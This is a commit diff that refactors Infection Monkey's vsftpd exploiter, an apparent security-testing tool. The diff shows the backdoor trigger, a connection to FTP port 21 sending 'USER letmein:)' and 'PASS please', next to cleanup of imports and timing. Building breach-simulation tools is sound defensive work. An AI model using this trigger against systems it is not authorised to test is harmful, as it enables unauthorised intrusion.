Update vsftpd.py

Removed unused imports, removed hardcoded username and password.

Removed EXPLOIT_TYPE
Removed NONE in tatget_os_type

Reduced time to sleep from 2 to 1

monkey/infection_monkey/exploit/vsftpd.py

@@ -1,15 +1,11 @@
 import logging
 from logging import getLogger
 
-import time
-
 import paramiko
 import StringIO
 import socket 
-import sys 
 import time
 
-import infection_monkey.monkeyfs as monkeyfs
 from infection_monkey.exploit import HostExploiter
 from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
 from infection_monkey.model import MONKEY_ARG
@@ -23,12 +19,14 @@ __author__ = 'D3fa1t'
 
 FTP_PORT = 21
 TRANSFER_UPDATE_RATE = 15
-COMMAND = "uname -a"
+USERNAME = b'USER letmein:)\n'
+PASSWORD = b'PASS please\n'
+
+
 
 class VSFTPDExploiter(HostExploiter):
-    _TARGET_OS_TYPE = ['linux', None]
-    EXPLOIT_TYPE = ExploitType.OTHER
-
+    _TARGET_OS_TYPE = ['linux']
+    
     def __init__(self, host):
         self._update_timestamp = 0
         super(VSFTPDExploiter, self).__init__(host)
@@ -41,9 +39,9 @@ class VSFTPDExploiter(HostExploiter):
             ftp_socket.connect((self.host.ip_addr, FTP_PORT))
 
             # Attempt to login to trigger backdoor
-            ftp_socket.send(b'USER letmein:)\n')
-            ftp_socket.send(b'PASS please\n')
-            time.sleep(2)
+            ftp_socket.send(USERNAME)
+            ftp_socket.send(PASSWORD)
+            time.sleep(1)
             ftp_socket.close()
             LOG.info('[+] Triggered backdoor')